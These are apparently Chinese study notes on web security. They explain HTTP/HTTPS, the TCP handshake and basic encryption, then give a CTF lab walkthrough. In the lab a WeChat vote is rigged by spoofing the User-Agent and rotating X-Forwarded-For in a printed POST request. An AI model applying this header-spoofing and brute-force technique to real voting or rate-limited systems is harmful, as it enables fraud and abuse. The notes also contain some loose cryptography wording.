数据包拓展
http/https的具体区别?
- http 明文传输 https密文传输
- 端口号不同 http80 https443
- http没有 http传输过程多了加密
- 浏览器发出请求
- 将域名解析为ip,
- 发起TCP的3次握手过程: SYN(建立联机) ACK(确认)
http请求过程:
(第一次握手)首先client发送一个序列号为J的SYN
(第二次握手)server收到SYN后,它会发送一个SYN以及一个ACK 给client。
ACK的序列号是J+1表示给SUN J 的应答 发送新的SYN k 其中k是序列号。
(第三次握手)客户在收到新SYN K, ACK J+1 后,也回应ACK K+1 以表示收到了,
然后两边就可以开始数据发送数据了.
https加密过程:
首先先了解下加密算法:
(1) 证书加密
服务器首先去证书颁发机构申请服务器的证书,通过https将证书发给client 用来验证服务端的身份。
(2) 对称加密
在加密解密的过程中使用同一个私钥进行加密或解密,而且对称加密的算法是公开的。
加密过程:加密算法+明文+私钥------》密文
解密过程:解密算法+密文+私钥------》明文
适用场景:上述过程是不复杂的,对大量数据进行加密时,对称加密是适用的,速度快
(3) 非对称加密
加密和解密中使用不同的密钥一个公钥(对外开放) 一个私钥(解密端拥有)
公钥是加密的 私钥是解密的 非对称加密算法安全级别高,加密密文长度有限制,适用于对少量数据进行加密,速度较慢。
https的请求过程:
Reques 请求
Response 响应
涉及演示案例
Bp抓包修改测试
敏感文件扫描工具简要实现
数据包相关检验对比(app与直接访问)
抓取app 包
通过手机端抓取app包 并截取host地址 和网站路径 并使用电脑访问
截取访问的地址并抓包, 将提前截取的app的包 替换抓到的包 进行访问。
微信投票到第一(墨者学院):来到页面,不管三七二十一先抓包:
点击投票,提示我请使用微信打开:
将User Agent更改为
Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255
即可投票成功。
再次投票,然后提示我们投票机会已用完
现在试试xff代理这种方式是否能绕过
POST /wx_vote_do.php HTTP/1.1
Host: 219.153.49.228:48650
User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4
Origin: http://219.153.49.228:48650
Connection: close
Referer: http://219.153.49.228:48650/wx_vote.php
X-Forwarded-For: 192.168.0.3
id=6
通过爆破 成功到达第一名 拿到key。